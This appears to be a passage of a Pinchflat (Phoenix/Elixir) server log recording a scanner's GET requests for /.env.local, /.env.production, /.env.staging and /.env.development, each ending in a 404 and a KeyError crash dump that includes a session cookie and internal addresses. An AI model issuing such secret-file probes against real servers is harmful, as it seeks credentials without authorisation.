"_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11769.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.env.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsWSOZduIORwkABT6B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: % (truncated) 17:14:18.537 [info] GET /.env.production 17:14:18.538 [debug] QUERY OK source="settings" db=0.1ms idle=619.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:18.538 [debug] QUERY OK source="settings" db=0.0ms idle=545.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:18.538 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:18.539 [error] #PID<0.11770.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 5) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /.env.production ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11770.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.env.production", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsWTPQ9NjH5wUABT8B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{}, body_params: (truncated) 17:14:18.809 [info] GET /.env.staging 17:14:18.810 [debug] QUERY OK source="settings" db=0.1ms idle=816.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:18.810 [debug] QUERY OK source="settings" db=0.1ms idle=544.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:18.810 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:18.811 [error] #PID<0.11771.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 6) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /.env.staging ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.staging", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11771.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.env.staging", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsWUQHYNsDtWgABT-B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.staging", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.staging", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{}, body_params: %{}, (truncated) 17:14:19.085 [info] GET /.env.development 17:14:19.086 [debug] QUERY OK source="settings" db=0.2ms idle=547.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:19.086 [debug] QUERY OK source="settings" db=0.0ms idle=547.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:19.086 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:19.086 [error] #PID<0.11774.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 7) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /.env.development ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.development", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 7, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11774.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.env.development", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsWVR0nEnW_DQABUCB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.development", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: 